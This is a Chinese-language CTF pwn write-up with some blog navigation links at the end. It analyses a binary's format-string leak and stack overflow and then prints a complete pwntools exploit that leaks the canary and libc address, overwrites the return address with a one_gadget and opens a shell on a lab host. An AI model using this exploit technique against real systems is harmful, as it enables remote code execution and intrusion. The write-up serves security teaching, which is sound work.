程序基本信息

   程序防护全开,shellcode修改got表等方法都不太可行,同时pie开启也使程序代码随机化了。

程序漏洞

   这是一个发推特的程序,具体功能不在这里细说,这个程序有两个漏洞:
一个是存在在功能1中的格式化字符串漏洞,在函数sub_55D83D2C4F00中

   通过分析可以发现,a1是我们输入的值,所以这里我们可以输入格式化字符串泄露栈上的地址

   第二个是存在在功能2中的栈溢出漏洞,在函数sub_55D832C5000中

   由于这个函数的调用没有靠传统的rbp,而是靠sub rsp与add rsp来分配回收栈帧的,所以溢出字节数需要自己测算一下

整体思路

   由于程序给了libc,我们用one gadget工具看看可以跳转到那些地址能get shell

   我们可以选用第一个,只要让返回地址返回到内存中gadget位置即可(需要注意控制rax的值为0)。
找到getshell的方法后,我们的思路就很清晰了,首先我们输入构造好的格式化字符串和password(程序中能找到),泄露栈上的libc中stdin的地址,然后减去stdin在libc中的偏移再加上0x45526就能得到gadget在内存中的起始地址,然后调用有栈溢出的函数,让返回地址指向gadget,就能成功pwn掉程序get shell

exp脚本

from pwn import *

context.update(os = 'linux', arch = 'amd64')

io = remote('172.17.0.2', 10001)

io.sendline('1')					#使用功能1触发格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密码硬编码在程序中,可以直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.')
leak_libc = int(leak_data[7], 16) #通过调试可知,stdin在printf的第8个参数
one_gadget_addr = leak_libc - 0x3c26f0 + 0x45526 #计算one gadget RCE地址(0x3c26f0和0x45526分别为stdin跟gadget在libc中的偏移)
canary = int(leak_data[5], 16) #通过调试可知,canary在printf的第6个参数
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr)) payload = "A"*1032 #padding
payload += p64(canary) #正确的canary,canary在栈上与返回地址有8个字节的差距
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE io.sendline('2') #使用有栈溢出的功能2
io.recvuntil('#> ')
io.sendline(payload) sleep(0.5)
io.interactive()

内容参考

Linux pwn入门教程(9)

最新文章

  1. Senparc.Weixin.MP SDK 微信公众平台开发教程(十七):个性化菜单接口说明
  2. 基于类的命令行notebook的实现
  3. 搭建Android开发环境简要步骤
  4. Ubuntu14.04桌面版基本配置
  5. 【bzoj2823】 AHOI2012—信号塔
  6. weblogic服务器的简单使用(一)
  7. 防止SQL注入和XSS攻击Filter
  8. cat命令常用的13个技巧
  9. LA_3026_Period_(kmp)
  10. 问题:Maven: missing net.sf.json-lib
  11. time&datetime模块详解
  12. Signals的使用(通知)
  13. centos7 Firewalld操作集合
  14. Django的rest_framework的序列化组件之serializers.ModelSerializer介绍
  15. Spring(十五):通过注解配置 Bean
  16. hibernate 各种主键生成策略(转)
  17. TCP协议的特点
  18. RabbitMQ消息队列(三):任务分发机制[转]
  19. [html][javascript]父子窗体传值
  20. TinyOS 代码分析

热门文章

  1. 如何避免Linux操作系统客户端登陆超时-linux命令之TMOUT=
  2. 实现数字转换RMB大写~
  3. Ubuntu apt-get锁定问题
  4. 2019-ACM-ICPC-南京区网络赛-D. Robots-DAG图上概率动态规划
  5. Luogu P1892 团伙
  6. Educational Codeforces Round 41 967 E. Tufurama (CDQ分治 求 二维点数)
  7. HDU-1237- 简单计算器--栈的基本应用
  8. webpack 配置react脚手架(六):api
  9. [CTSC2008]网络管理Network
  10. HTTP请求响应过程以及与HTTPS区别